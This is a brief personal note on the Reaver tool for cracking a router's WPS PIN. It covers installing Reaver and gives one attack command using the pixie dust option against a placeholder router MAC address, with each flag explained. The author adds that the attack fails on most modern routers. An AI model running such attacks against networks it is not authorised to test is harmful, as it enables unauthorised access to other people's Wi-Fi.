Reaver

Cracks the WPS pin of the router

But what do you do with it?

Installing

Reaver 1.3

$ ./configure --prefix=./build
$ make
$ mkdir -p ./build/bin
$ make install

Kali

apt-get install reaver

Use

$ reaver -i wlan0 -b AA:BB:CC:DD:EE:FF:AA:BB -vv -K 1

Here we specify the network interface, the MAC address of the target router, turn on verbose mode, and turn on the pixie dust attack with -K 1.

But... the attack fails on nearly every router. And when it does not fail... you get the PIN, but you can't get the passphrase.

Another case of an old tool that only works if the target has old hardware, I suppose.